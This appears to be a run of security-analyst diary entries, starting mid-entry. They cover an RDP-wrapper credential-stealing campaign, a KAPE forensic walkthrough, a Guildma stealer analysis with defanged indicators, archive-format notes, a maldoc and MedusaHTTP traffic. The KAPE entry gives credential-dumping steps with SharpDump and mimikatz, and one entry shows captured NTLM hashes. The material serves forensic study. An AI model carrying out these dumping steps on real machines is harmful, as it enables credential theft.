Archive:  PLAYBOX1_RDP.zip
    testing: Program Files/RDP Wrapper/hostname.log   OK
    testing: Program Files/RDP Wrapper/installer.log   OK
    testing: Program Files/RDP Wrapper/tor_install.log   O
No errors detected in compressed data of PLAYBOX1_RDP.zip.

The second one contains the output of Mimikatz:

root@remnux:~# unzip -t DESKTOP-UII5HVF_82742.zip
Archive:  DESKTOP-UII5HVF_82742.zip
    testing: ProgramData/Microsoft/NetFramework/Test/credoz.txt   OK
No errors detected in compressed data of DESKTOP-UII5HVF_82742.zip.

Each archive contains the same file 'credoz.txt':

root@remnux:~# head -30 credoz.txt
Hostname: [redacted] / authority\system-authority\system

  .#####.   mimikatz 2.1.1 (x64) #17763 Feb 23 2019 12:03:02
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 2254335948 (00000000:865e6fcc)
Session           : RemoteInteractive from 2
User Name         : Admlnlstrator
Domain            : [redacted]
Logon Server      : [redacted]
Logon Time        : 2019/08/17 19:33:43
SID               : S-1-5-21-2984074050-2788484596-579673664-1006
        msv :
         [00000003] Primary
         * Username : Admlnlstrator
         * Domain   : [redacted]
         * NTLM     : eddcae2f04515b3a77e37ff4f5d2878d
         * SHA1     : 0a19e0af02162b596b2bc58f0c9f26c1ddfad698
         [00010000] CredentialKeys
         * NTLM     : eddcae2f04515b3a77e37ff4f5d2878d
         * SHA1     : 0a19e0af02162b596b2bc58f0c9f26c1ddfad698
        tspkg :
        wdigest :
         * Username : Admlnlstrator

You can see that the rogue administrator account has been used. In one week, I collected 188 credential files from the FTP server! Based on the re-upload of new files at every reboot, the number of unique victims is 53:

root@remnux:~# ls -1 creds/*.zip|awk -F "_" '{ print $1 }'|sort -u|wc -l
53

Did you see the same kind of activity? Do you have more information about this malware? Feel free to share!

[1] https://www.virustotal.com/gui/file/bf06b682c637d470b15e3c7b76e6d25356719286cfcc75a12bf3c31be859d2b5/detection
[2] https://github.com/stascorp/rdpwrap/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

KAPE vs Commando, another Red vs Blue vignette

Once in awhile the Twittersphere really sends me signal regarding content opportunities and potential research areas. If you follow any Blue Team aficionados, as I do, you’ll likely have seen the same level of chatter and excitement I have regarding Eric Zimmerman’s KAPE, the Kroll Artifact Parser and Extractor. In short, KAPE is a triage program to target devices or storage locations, find forensic artifacts, and parse them.

Introduction
On the heels of last month’s discussion regarding Commando VM, the system I implemented for that review serves us well to pit KAPE versus Commando. To do so, I self-pwned and conducted adversarial activity using the Command tool set, then utilized KAPE’s intrinsic triage, identify, and parse capabilities.

Before the red versus blue walkthrough, a few key elements. KAPE documentation is extensive, comprehensive, and effective. I’ll not belabor our time here replicating much of what Eric has produced, as always read this documentation before going too far in your KAPE testing and implementation.

Updating KAPE is as easy as

Get-KAPEUpdate.ps1

from a PowerShell prompt and

kape.exe --sync

from a command prompt.

Figure 1: KAPE update

You’ll want to explore gkape, the KAPE graphical interface, simply because it will help you quickly enumerate all the target and module options, and learn how to quickly build out your commandline payloads, including a Copy command feature.

Figure 2: gkape

In scenarios such as this, I’m particularly fond of !BasicCollection, CombinedLogs, EvidenceOfExecution, PowerShellConsole, and RegistryHives as Targets. For Modules, I utilize RegRipper-ALL (Registry), PowerShell and PECmd (ProgramExecution), all the tools in the LiveResponse category), WindowsEventLogs, SecurityEventFullLogView, PowerShellOperationalFullEventLogView, EvtxECmd, all under the EventLogs category, and SecurityEvents under AccountUsage. As I was writing this, Eric added Mini_Timeline and Mini_Timeline_Slice_By_Daterange, literally as I was thinking “Boy, a timeliner module would be pretty slick.” Well done!
NOTE-MISSION CRITICAL: You will need to download tools and place them in \KAPE\Modules\bin, including RegRipper (rip.exe), tln.exe and parse.exe from @keydet89’s GitHub repo, Nirsoft and TZWorks binaries, and others you may wish to utilize. Note that you’ll need p2x5124.dll for RegRipper and the Mini_Timeline tools, it should be in the same directory with each binary. You’ll be warned amply to do so. When you execute a job, watch the shell too, missing tools will be called out purple text. You can also review the console log, found under ModuleResults, after a run.
As I ran KAPE on my same dedicated host where I installed the Commando tool set last month, I simply set C: as my Target source and C:\tools\KAPE\localhost as my Target destination. Similarly, for Modules, I left Module source blank and set C:\tools\KAPE\localhost\ModuleResults for my Module destination.

RED: Commando - SharpDump

To pit KAPE versus Commando, I went back to the GhostPack well and compiled SharpDump. GhostPack is HarmJ0y’s collection of security related toolsets, and SharpDump is a C# port of PowerSploit’s Out-Minidump.ps1 functionality. As with all the Ghostpack tools included in Commando, you must compile them yourselves, no binaries are provided. Much as we did last month with Seatbelt, utilize Visual Studio Community 2019 on , set up for Windows development (.NET, desktop, and UWP), and then open SharpDump.sln, found in C:\tools\GhostPack\SharpDump. Be sure to run Visual Studio as administrator for this step. In Solution Explorer, right-click SharpDump and select Build. You’ll then find SharpDump.exe in C:\tools\GhostPack\SharpDump\SharpDump\bin\Release.
SharpDump, when executed, will create a debug output file as seen Figure 3.

Figure 3: SharpDump

The output file is written to C:\Windows\temp, mine was debug896.bin. Move it, rename it debug.gz, and decompress it. I did so in my SharpDump directory. To finish the adversarial process, you’ll find mimikatz in C:\tools\Mimikatz\x64 on a Commando-enabled system. In the mimikatz console, I changed directory to my SharpDump release folder, and ran

sekurlsa::minidump debug896
sekurlsa::logonPasswords full

The result is seen in Figure 4.

Figure 4: mimikatz

Congratulations, you have created a more than sufficient amount of malicious artifacts to identify with KAPE for the Blue part of this exploration.

BLUE: KAPE

As we’re working through an arbitrary scenario here, we already have what could be consider IOCs. Loosely translated, your threat intel or SOC team would like escalate with something akin to intel or telemetry indicating that a potential adversary likely created a dump file with all process memory to disk and used mimikatz to acquire identity artifacts. I set up a KAPE run as described above, it’s mighty quick (Figure 5).

Figure 5: KAPE run

Results awaited me in C:\tools\KAPE\localhost\ModuleResults, per my configuration. Events of interest were immediately discoverable in EventLogs, LiveResponse, and ProgramExecution folders. The first artifacts of malfeasance related to our SharpDump scenario comes via results from Systinternals Handle viewer results found in LiveResponse. Prior the actual execution of SharpDump the adversary (me, knucklehead that he is) chose to compile SharpDump on the same system. ;-) Visual Studio creates a SQLite database in the compiled project folder. Figure 6 reveals all the related handles entries.

Figure 6: SharpDump handles

As an analyst/investigator, I consider timeline data absolutely essential. Eric’s PECmd results flourish in this regard. From ProgramExecution output, 20190817003023_PECmd_Output_Timeline.csv revealed the following entry, from many:

8/16/2019 21:04,\VOLUME{01d530564cd90cbb-a64cf119}\TOOLS\MIMIKATZ\X64\MIMIKATZ.EXE  
8/16/2019 20:14,\VOLUME{01d530564cd90cbb-a64cf119}\TOOLS\GHOSTPACK\SHARPDUMP\SHARPDUMP\BIN\RELEASE\SHARPDUMP.EXE

This is spot on given that, when in red mode, I compiled SharpDump then walked away for almost an hour before coming back to run the dump through mimikatz.
Need more magic from full PECmd output? The full entry from 20190817003023_PECmd_Output.csv of the 21:04 mimikatz execution is evident in Figure 7.

Figure 7: PECmd mimikatz details

If you’ve enabled verbose PowerShell logging (if you haven’t, shame on you) such that you get all the juicy details in Windows\system32\winevt\logs\Microsoft-Windows-PowerShell%4Operational.evtx you’ll find glorious results in EventLog, 20190817002759_EvtxECmd_Output.csv in my case. Related results seen in Figure 8.

Figure 8: EventID 4104

Behold the beauty of a snippet from a full content EventID 4104, with a whole lotta mimikatz. :-) Did I mention that turning on PowerShell logging yields invaluable results? Yes, I did, but let me really drive the point home with an additional scenario.

RED: Commando - PowerSploit tests

I love PowerSploit, and so do a plethora of jackelope script kiddies. Ever investigated compromised systems that have been stomped by really loud, really unsophisticated interlopers? I thought I’d make the point in similar noisy fashion, in the most simpleton manner. The PowerSploit framework includes an outstanding test suite to determine module success and failure. I lit the test suite up on my victim as seen in Figure 9.

Figure 9: PowerSploit test scripts

The results were noisy, noisy, noisy, and again, with verbose PowerShell logging, a wonderful way to highlight a related KAPE module.

BLUE: KAPE

With verbose PowerShell script block logging enabled throughout your enterprise, you can spot a good bit of up-to-no-good. On the heels of the PowerSploit test scripts, I ran the following seen in Figure 10 to see what turned up. It runs Nirsoft’s Full Event Log Viewer.

Figure 10: KAPE full event viewer config

The results, as expected, write to the EventLogs folder, as full_powershell_operational_event_log.csv.

The first hit in the results sums things up nicely. As part of the PowerSploit recon test suite, Invoke-StealthUserHunter was tester. In my case it failed and threw an error, but a small snippet of the entry from the PowerShell operational event log follows in Figure 11.

Figure 11: KAPE full event viewer results

As you can imagine, with the PowerSploit test suite, there were plenty of script block logs entries to follow. If your adversary attempts to used PowerShell modules from any of the well-known offensive PowerShell frameworks, you will spot them with PowerShell script block logging and KAPE during investigations. You should also be building detections on PowerShell specific indicators found via script block logging.

Conclusion

A few takeaways:
Read the actual module script content by double-clicking them in gkape. You’ll learn a lot, and it can help debug configurations as well. KAPE is a beast. To be fair, I did it almost no justice here, these are painfully simple scenarios. But I do hope they served to kick in your intrigue and lead you to exploring Eric and team’s magnificent work. Have fun, there are endless options, configurations, and opportunities come in behind Red Team and clean up all their rainbow unicorn skittles doodie.

Blue Team, you rock.
Cheers…until next time.

A new variant of the information stealer Guildma (aka Astaroth) we analyzed last week is accessing Facebook and YouTube to get a fresh list of its C2 servers. The C2 list is encrypted and hosted in two Facebook and three YouTube profiles maintained and constantly updated by the cybercriminals. 

This innovative strategy is probably helping the current infections to resist to expected C2 takedowns as access to Facebook and YouTube are usually allowed and not associated with malicious code activities. 

The ongoing campaign has 76 C2 servers (and counting) and its main target is South America - especially Brazil. An analysis of a different variant made by Avast late last month [1] reported that 155,000 infections were blocked just by their own solution. 

In this diary, we provide details on how Guildma employs its multiple-stage and evasion techniques from the infection to data exfiltration. 

Threat Analysis

Follow the numbers in blue in the image above and the descriptions of each step below:

1. E-mail Phishing

As usual, the campaign starts with an e-mail phishing. The message supposedly comes from MINISTÉRIO PÚBLICO FEDERAL of Brazil, has no attachment but urges the user to click on a link. Take a look at the message:

2. The phishing link

The phishing link takes the user to download a zip file. The downloaded zip file contains another zip which, finally, contains an ‘LNK’ file. Once executed, the ‘LNK’  downloads and execute a JavaScript, as shown in the following image. The JavaScript file is downloaded from a 'cloudflareworkers.com' subdomain. 

A good tool to analyze "LNK" files is LECmd by Eric Zimmerman [2].

3. The JavaScript

The JavaScript downloads 11 files hosted in different cloudflareworkers.com subdomains. The downloaded files are stored locally at the path "C:\Users\Public\Libraries\win32". 

The cloudflareworkers.com subdomains are randomly selected during the JavaScript execution—probably for evasion and redundancy purposes.

Most of the 11 files have disguising extensions, like JPG and GIF. However, just a few have meaningful content, like (halawxtz64a.dll and halawxtz64b.dll). These two files concatenated forms a DLL file which is loaded in the next stage. Most of the other files are encrypted using a custom algorithm. 

4. DLL side loading

In this stage, it is employed a technique called DLL side-loading in which a legit program, intended to load its legit DLLs end up loading a malicious DLL with the same name from the current or from a specified path. Know more about DLL side-loading at [3].

The side-loading technique, in this case, is employed using the program “C:\Program Files (x86)\Internet Explorer\ExtExport.exe”. ExtExport is a legit binary part of Internet Explorer installation which loads DLLs named mozcrt19.dll, mozsqlite3.dll or sqlite3.dll from the specified path given as an argument. The perfect candidate for the job.

The ExtExport is loaded with the argument "C:\Users\Public\Libraries\win32" which contains the dropped files and the concatenation of halawxtz64a.dll and halawxtz64b.dll files, as seen below.

5. Process Hollowing

Now, the malicious DLL running under the ExtExport process employs another evasive technique called Process Hollowing. Process Hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code [4]. 

The "process-hollowed" program in this scenario is "C:\Program Files\Diebold\Warsaw\unins000.exe". It is part of Diebold Warsaw installation—a security suite largely used and installed in most systems used to access online banking in Brazil.

The content injected in the suspended unins000.exe process memory is the concatenation of halawxtzxa.~ and halawxtzxb.~ files. After the memory injection, the process is resumed (ResumeThread) as seen in the following image.

 

6. Obtaining C2 addresses in an innovative way

There are some suspect addresses hardcoded into the binaries, however, the C2 addresses used to exfiltrate data are obtained from Facebook and Youtube profiles maintained and constantly updated by the cybercriminals.

Take a look at the DNS requests to YouTube and Facebook shortly before a C2 name resolution.

Following two of the Facebook and YouTube requested URLs, we reached the following contents:

The suspecting content, between "|||" marks, is base64 encoded. However simple decoding isn't enough as the data is encrypted as well. For example, base64 decoding the sequence "Sm5EblBrT25HbkluRm5BbVVtU25…" results in "JnDnPkOnGnInFnAmUm…", which is not meaningful. 

Analyzing a little bit deeper the malware code, specifically at the moment it reaches Facebook and YouTube URLs, it was possible to understand the decryption process and reverse it.

To make things easy, we created a Python script to automate the job, as seen below.

Applying this decryption function to one of this campaign's Facebook post we got a list of multiple addresses that would later be used by the malware as C2 servers:

"my-project-proxy-1–249108.appspot.com;my-project-novo-3-proxy.appspot.com;my-project-proxy-2.appspot.com;my-project-proxy-4.appspot.com;my-project-proxy-5.appspot.com;my-project-proxy-6.appspot.com;my-project-proxy-7.appspot.com;my-project-proxy-8.appspot.com;"

It's important noting that this is just part of the C2 addresses used in this campaign. Thanks to Facebook's editing history feature, it was possible to decrypt all messages from June 30, 2019, to now.

The result is a list of 76 unique C2 servers. 

7. Running information stealers

Once C2 addresses are loaded, the malware starts loading the information stealers modules. The code for each information stealer is decrypted from the dropped files, like "halawxtza.jpg", and instanciated as child processes. 

One of the modules focuses on stealing passwords stored in different applications, like Web Browsers and E-mail Clients, as seen below. 

The captured information, including screen captures, is encrypted and stored in files inside the path “C:\Users\Public\Libraries\win32”, as seen below.

8. Data exfiltration

The captured data is sent to one of the C2 servers retrieved in step 6. 

In the example below, the information is sent to C2 "soy-tower-248822[.]appspot[.]com" via HTTPS. 

Additionally to SSL, the exfiltrated data receive two layers of encryption. One to tell the C2 the filename and the other for its content. 

Final comments

Facebook and YouTube were reported about the profiles involved in this malicious campaign. 

IOCs

C2 list:

my-project-2-248206[.]appspot[.]com
theta-cider-248821[.]appspot[.]com
artful-hexagon-247421[.]appspot[.]com
maxfolte[.]appspot[.]com
sistemak04full[.]appspot[.]com
red-cable-247421[.]appspot[.]com
my-projectstr-820381[.]appspot[.]com
named-aspect-248677[.]appspot[.]com
bamboo-cocoa-249211[.]appspot[.]com
loyal-coast-249211[.]appspot[.]com
plasma-raceway-249211[.]appspot[.]com
my-project-proxy-8[.]appspot[.]com
controleal[.]dominiotemporario[.]com
sistemak01full[.]appspot[.]com
sixth-zoo-249221[.]appspot[.]com
sigma-hydra-249900[.]appspot[.]com
summer-bond-244902[.]appspot[.]com
my-project-novo-3-proxy[.]appspot[.]com
verificado[.]dominiotemporario[.]com
flowing-indexer-247521[.]appspot[.]com
focal-charge-247106[.]appspot[.]com
soy-tower-248822[.]appspot[.]com
woven-victor-249220[.]appspot[.]com
even-lyceum-248206[.]appspot[.]com
manifest-geode-248821[.]appspot[.]com
sistemak05full[.]appspot[.]com
my-project-4837144[.]appspot[.]com
sonic-glazing-249610[.]appspot[.]com
woven-mesh-248688[.]appspot[.]com
august-victor-248822[.]appspot[.]com
teak-clone-248821[.]appspot[.]com
my-projectxr-322731-246412[.]appspot[.]com
controleal[.]sslblindado[.]com
silent-cider-243303[.]appspot[.]com
scenic-bolt-249222[.]appspot[.]com
buoyant-aloe-248666[.]appspot[.]com
psychic-era-248820[.]appspot[.]com
resonant-gizmo-248323[.]appspot[.]com
my-project-proxy-2[.]appspot[.]com
my-project-05-249211[.]appspot[.]com
my-project-proxy-7[.]appspot[.]com
rolterx[.]appspot[.]com
my-project-proxy-6[.]appspot[.]com
proven-impact-247521[.]appspot[.]com
cobalt-list-248323[.]appspot[.]com
reflected-agent-249010[.]appspot[.]com
valued-mission-249211[.]appspot[.]com
mankerop[.]appspot[.]com
fine-pride-248716[.]appspot[.]com
sistemak02full[.]appspot[.]com
my-project-proxy-1-249108[.]appspot[.]com
market-off[.]appspot[.]com
hazel-env-249323[.]appspot[.]com
my-projectxr-322731[.]appspot[.]com
gifted-symbol-248821[.]appspot[.]com
my-projectxr-322731-246412
stellar-river-248300[.]appspot[.]com
logical-air-248822[.]appspot[.]com
vital-invention-246411[.]appspot[.]com
sistemak03full[.]appspot[.]com
metal-arc-247207[.]appspot[.]com
my-project-proxy-5[.]appspot[.]com
my-project-06-249211[.]appspot[.]com
praxis-water-248822[.]appspot[.]com
lyrical-cacao-249010[.]appspot[.]com
midyear-lattice-243611[.]appspot[.]com
my-project-398345[.]appspot[.]com
stone-lodge-248655[.]appspot[.]com
sinuous-city-246418[.]appspot[.]com
adroit-petal-249010[.]appspot[.]com
my-project-proxy-4[.]appspot[.]com
my-project-78947prx[.]appspot[.]com
civil-dolphin-249609[.]appspot[.]com
airy-ripple-247522[.]appspot[.]com
my-project-04-249211[.]appspot[.]com
civil-partition-249711[.]appspot[.]com
https://djadbs4zeunf[.]certificados1n7p0x1b1[.]store/
http://emoaeefwauakw[.]informativoinadiplencia[.]xyz

Facebook and YouTube URLs

https://www[.]youtube[.]com/channel/UCTN4wLOwIUoebHmPQM47Yzw/about
https://www[.]youtube[.]com/channel/UC1mMPPv6X7LzvPGOWQmT9hg/about
https://www[.]youtube[.]com/channel/UCEhLqZZR0oXsNCtQT1zEi9w/about
https://www[.]facebook[.]com/permalink[.]php?story_fbid=1233322216856141&id=1233309900190706
https://www[.]facebook[.]com/permalink[.]php?story_fbid=850799741943857&id=100010415162411

Hashes

halawxtzxb.~
6c81fa46dd6762b69c1651125946e063
c665466e12ede25c97279f81668f5975ed4be93c
2b2acd79f309d6453b319c2c0250b599d2a26f2c65a6b6a231a6157e96f4feac
316536 

halawxtzxa.~
9411341b781aa43b66b8f83658d5011b
1962486f3b1b48ad576b752618d41839a1470a77
89f1fba39982ca09a8b329f82a46b34d5f8caf21bfe72940650186391bc6d095
325000

halawxtzgx.gif
a3dd42e226ace4c09e23163b524282ac
a53ee4d5095fc25f8867de1d6863fe4ab14e851f
606b3711828a7d82b16217f345715550d92a3871ee2cf6f901751292f164ef69
646656

halawxtzg.gif
897a65519c433c25227cb2eff858f255
8752a5bd75f0cab3cb51e364790b51ebce473d7f
03babea27593c3bb0fda41b7cbd2749062a17319d50496db71fcca1e1007c191
1017344

halawxtzdx.gif
5ee713a85d8a8893f28ccd909b19a68d 
309a33467c312a48aa21f583f87326cef3e04092
8ff034457cc1ad4303772d6650a83b650c9509854a29a36a3218f3a31974999d
935936

halawxtzdwwn.gif
c8997c61f0b4605c082fcbeddf7b49b1
7ea39703c95a14cbe9b72390961ae8ac49863bd1
8f512e6c49da52913b7999234865774e838fa7a668e6f11e1b205604fa89bed4
935936

halawxtzc.jpg
f710033b42c45de9822e5a549adb3624
5230fe9e3d0530cfac6fa100637592b74ce355ed
32c1cf4ac2be99bdda6d3d623975e3f1c9ab24db2869e98e235cf97af62d54fb
235520

halawxtzb.jpg
f2cf0bc2a11c62afa0fd80a3e8cd704d 
f625e99d236ab4cc1b9d8457a666e2e73f33d525
c7f2327af387be23d5a6fc7fa9ddc0ca6e7be180f0588440be9c3efca04a1aac
189952

halawxtza.jpg
57bbfb7dfbd710aaef209bff71b08a32
9aa5156c212309f4ea61eb6546af3ae33b048651
66c9c650e26635bf9e205e0ebb7b149a69a25f002917a1f9c5360149d423b30e
52736
 

Artifacts download

https://2d2f292200005ca2200002279c[.]cloudflareworkers[.]com/[.]edgeworker-fiddle-init-preview/fe81c802287eba49631519d92e168d7d6c6e2f340f0e669198b845a8a639ba1c1late-frost-d978[.]brulefer[.]workers[.]dev/?08/halawxtza[.]jpg[.]zip
https://2d2f292200005ca2200002279c[.]cloudflareworkers[.]com/[.]edgeworker-fiddle-init-preview/fe81c802287eba49631519d92e168d7d6c6e2f340f0e669198b845a8a639ba1c1late-frost-d978[.]brulefer[.]workers[.]dev/?08/halawxtzb[.]jpg[.]zip
https://2d2f292200005ca2200002279c[.]cloudflareworkers[.]com/[.]edgeworker-fiddle-init-preview/fe81c802287eba49631519d92e168d7d6c6e2f340f0e669198b845a8a639ba1c1late-frost-d978[.]brulefer[.]workers[.]dev/?08/halawxtzc[.]jpg[.]zip
https://2d2f292200005ca2200002279c[.]cloudflareworkers[.]com/[.]edgeworker-fiddle-init-preview/fe81c802287eba49631519d92e168d7d6c6e2f340f0e669198b845a8a639ba1c1late-frost-d978[.]brulefer[.]workers[.]dev/?08/halawxtzdwwn[.]gif[.]zip
https://2d2f292200005ca2200002279c[.]cloudflareworkers[.]com/[.]edgeworker-fiddle-init-preview/fe81c802287eba49631519d92e168d7d6c6e2f340f0e669198b845a8a639ba1c1late-frost-d978[.]brulefer[.]workers[.]dev/?08/halawxtzdx[.]gif[.]zip
https://2d2f292200005ca2200002279c[.]cloudflareworkers[.]com/[.]edgeworker-fiddle-init-preview/fe81c802287eba49631519d92e168d7d6c6e2f340f0e669198b845a8a639ba1c1late-frost-d978[.]brulefer[.]workers[.]dev/?08/halawxtzg[.]gif[.]zip
https://2d2f292200005ca2200002279c[.]cloudflareworkers[.]com/[.]edgeworker-fiddle-init-preview/fe81c802287eba49631519d92e168d7d6c6e2f340f0e669198b845a8a639ba1c1late-frost-d978[.]brulefer[.]workers[.]dev/?08/halawxtzgx[.]gif[.]zip
https://2d2f292200005ca2200002279c[.]cloudflareworkers[.]com/[.]edgeworker-fiddle-init-preview/fe81c802287eba49631519d92e168d7d6c6e2f340f0e669198b845a8a639ba1c1late-frost-d978[.]brulefer[.]workers[.]dev/?08/halawxtzxa[.]gif[.]zip
https://2d2f292200005ca2200002279c[.]cloudflareworkers[.]com/[.]edgeworker-fiddle-init-preview/fe81c802287eba49631519d92e168d7d6c6e2f340f0e669198b845a8a639ba1c1late-frost-d978[.]brulefer[.]workers[.]dev/?08/halawxtzxb[.]gif[.]zip
https://13023071da82751cf504af85aa406cd0[.]cloudflareworkers[.]com/[.]edgeworker-fiddle-init-preview/a0c8767621036a0bfbe3db0beb9ae33612979affe8dd41d7d08af5760a4b4fee1little-bonus-52fc[.]belfegor[.]workers[.]dev/?08/halawxtzhh1a[.]dll[.]zip
https://13023071da82751cf504af85aa406cd0[.]cloudflareworkers[.]com/[.]edgeworker-fiddle-init-preview/a0c8767621036a0bfbe3db0beb9ae33612979affe8dd41d7d08af5760a4b4fee1little-bonus-52fc[.]belfegor[.]workers[.]dev/?08/halawxtzhh1b[.]dll[.]zip

ATT&CK Matrix

References

[1] https://decoded.avast.io/threatintel/deep-dive-into-guildma-malware/
[2] https://ericzimmerman.github.io/#!index.md
[3] https://attack.mitre.org/techniques/T1073/
[4] https://attack.mitre.org/techniques/T1093/
[5] http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

While researching a user submitted Direct Access Archive file (DAA), I learned about another file format I too had never heard of before: compressed ISO files, or .isz files.

ISZ files are similar to DAA files: insofar they also contain an ISO file, split in chunks that are then compressed. Like DAA, it's a proprietary format, however, the ISZ specification is available publicly.

I highlighted the zlib header in the screenshot above.

My tool search-for-compression, that I showed in yesterday's video and that can be downloaded from my beta github repository, is also able to decompress this format:

We have not yet received malicious ISZ files submitted by readers, and I've not read reports about malicious compressed ISO files. The future will tell if we will see ISZ files created by malware actors.

If you do encounter them, please submit a sample.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

This is a video to illustrate the analysis of DAA files (Direct Access Archives), discussed in diary entries "Malicious .DAA Attachments" and "The DAA File Format".

As can be expected, these DAA files, sent as email attachment, contain a malicious Windows executable (PE file).

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

In diary entry "Malicious .DAA Attachments", we extracted a malicious executable from a Direct Access Archive file.

Let's take a closer look at this file format. Here is an hex/ascii dump of the beginning of the file:

With the source code of DAA2ISO, I was able to make some sense of this data. I highlighted important parts:

• First we have the magic sequence: DAA...
• Second, we have an offset (0x0000004C) to the list of compressed chunk lengths
• Third, we have the file format version: 0x00000100
• Fourth, we have an offset (0x0000005E) to the first compressed chunk
• And then we have the list of chunk lengths (position 0x0000004C)
• And the chunks themselves (position 0x0000005E)

The list of compressed chunk lengths is a bit special: each lenght value is encoded with 3 bytes, using neither big-endian nor little-endian format.

The number format is the following: hex value 697 is encoded as 00 97 06. So first you have the most significant byte, then the least significant byte, and then the remaining, middle byte.

Together with the pointer to the first compressed chunk (position 0x0000005E), we can use this length list to calculate the offsets of the other compressed chunks.

Example: the second chunk is located at 0x5E + 0x697 = 0x06F3. DAA version 0x100 uses zlib compression (DEFLATE), and the compressed data is stored without header.

Armed with this information, I could write a Python script to extract and decompress the chunks stored inside a DAA file.

However, I wrote a different program. For quite some time, I was playing with the idea to write a program that can detect compressed data inside a binary stream. Since a DAA file is essentially a concatenation of zlib compressed chunks, such a program should also be able to extract and decompress the ISO file inside a DAA file.

Here is the result of my beta program running on the DAA sample:

Each line represents compressed data found by the tool. The columns are:

1. start position of compressed data (hexadecimal)
2. size of the compressed data (decimal)
3. size of the decompressed data (decimal)
4. size of the remaining data (decimal)

This generic method will also generate false positives: data that decompresses but is not actual compressed data. Like the first line: it's very small (4 bytes compressed, 2 bytes decompressed) and is actually inside the DAA header. So this is clearly a false positive.

Option -n can be used to impose a minimum length on the compressed data. This can be used to filter out some false positives:

Remark that the first byte sequence of compressed data is found at position 0x5E, the same position as mentioned in the header.

And the second byte sequence of compressed data is found at position 0x6F5, that's the position that we calculated with the length of the first chunk.

All decompressed chunks have a size of 65536, except the last chunk: that's how the DAA format stores the embedded ISO file. It's chopped-up in chunks of 65536 each, that are then compressed.

Finally, I can use option -d to decompress and concatenate all compressed chunks:

A similar file format is also used for other CD/DVD image formats, like the gBurner format, compressed ISO format, ...

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

A spearphishing attack with a VBA maldoc on US utility companies was mentioned in SANS NewsBites Vol. 21, Num. 61. I always like to take a look at malicious documents mentioned in the news. Luckily for me, Proofpoint's analysis includes the hashes of the maldocs, and  one maldoc can be found on VirusTotal.

This maldoc stands out because of the large size of its VBA stream (analysis with oledump.py):

It contains many hexadecimal strings, to be concatenated.

There are 3 embedded files in this maldoc (using hexadecimal strings in the source code). The first one uses variable psz1. Grepping for "psz1 = " and using re-search.py to extract the embedded strings (minus double quotes), the hexadecimal digits that make up a file can be extracted:

This can then be decoded with base64dump.py, using option -e hex for hexadecimal decoding and -w to ignore all whitespace:

This is a certificate in PEM file format. If you've read my blog post "PowerShell Inside a Certificate?", you know that the first letter of the binary data inside a PEM certificate has to be M. Anything else, and you know that the PEM file contains something else than a certificate. Especially when it starts with TVq...: that's MZ in BASE64, or a Windows executable (PE file).

Running base64dump.py a second time finds the embedded executable:

This executable can be found on VirusTotal using the reported MD5 hash.

The second file can be extracted with the same method, this time grepping for variable s2:

This is also an executable, present on VirusTotal.

And the last file, variable s3, same method:

This is not an executable, but a configuration file, as explained in Proofpoint's blog post:

The obfuscated extraction commands can be found at the end of the VBA stream:

Deobfuscating these commands is not hard, just remove " & ":

And as could be expected, we see that the certutil command is used to extract the executables and config file from the PEM files.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Introduction

On Monday 2019-08-12, I had captured a malware payload sent through Rig Exploit Kit (EK), and it generated post-infection traffic that I was unfamiliar with.  I asked what the malware was over Twitter, and @fletchsec identified it as MedusaHTTP.  Thanks to everyone who responded to my original tweet!

In 2017, Arbor Networks (now part of NETSCOUT) published a blog about MedusaHTTP using a sample originally reported by @Zerophage1337 which was also seen after an infection through Rig EK.

Today's ISC diary reviews the MedusaHTTP malware sample I found on Monday 2019-08-12.

The malware family

According to NETSCOUT, MedusaHTTP is an HTTP-based malware written in .NET used to create a distributed denial of service (DDoS) botnet.  MedusaHTTP first appeared in 2017, and it's based on earlier malware called MedusaIRC.  In 2017, command and control (C2) communications for MedusaHTTP were in clear text.  The sample I found used base64 strings for much of its C2 traffic.  Data used in the base64 strings were encoded or otherwise encrypted, so I could not determine the actual data.

Infection traffic

The image below displays traffic from the original infection on Monday 2019-08-12 filtered in Wireshark.  First is Rig EK traffic, followed by post-infection traffic caused by MedusaHTTP malware.

Shown above:  Traffic from the original infection filtered in Wireshark.

Much like traffic from the 2017 sample, HTTP POST requests from an infected Windows host to a C2 server returned HTTP/1.1 100 Continue.  The infected Windows host then sent a string starting with xyz= followed by what looks like a base64 string.  During my initial infection traffic, the C2 server replied with cookie data that started with btst= and included the public IP address of the infected Windows host and some Unix-based timestamps as shown below.

Shown above:  C2 traffic generated by MedusaHTTP after my initial infection.

The base64 string in the POST data after xyz= was different for every HTTP request.  Cookie data returned from the C2 server included a string of hex characters that changed with every response.

Shown above:  Base64 strings after xyz= in the POST requests.

Shown above:  Hex strings in cookies returned by the C2 server.

I infected another Windows host less than 24 hours after the initial infection with the same MedusaHTTP sample.  This time, I saw web traffic to various casino-related domains, and the C2 server responded with data as a base64 string and no cookies.

Shown above:  Traffic from my follow-up infection caused by MedusaHTTP filtered in Wireshark (1 of 2).

Shown above:  Traffic from my follow-up infection caused by MedusaHTTP filtered in Wireshark (2 of 2).

Shown above:  MedusaHTTP C2 traffic from my follow-up infection.

Post-infection forensics

MedusaHTTP updates the Windows registry to maintain persistence after a reboot.  The EXE for MedusaHTTP was saved under the infected user's AppData\Roaming folder.

Shown above:  MedusaHTTP malware persistent on my infected Windows host.

Indicators of compromise (IoCs)

SHA256 hash: 17901948c9c9f2f0d47f66bbac70592a7740d181f5404bf57c075ed6fa165b67

• File size: 571,904 bytes
• File location: C:\Users\[username]\AppData\Roaming\Google Auto Updater.exe
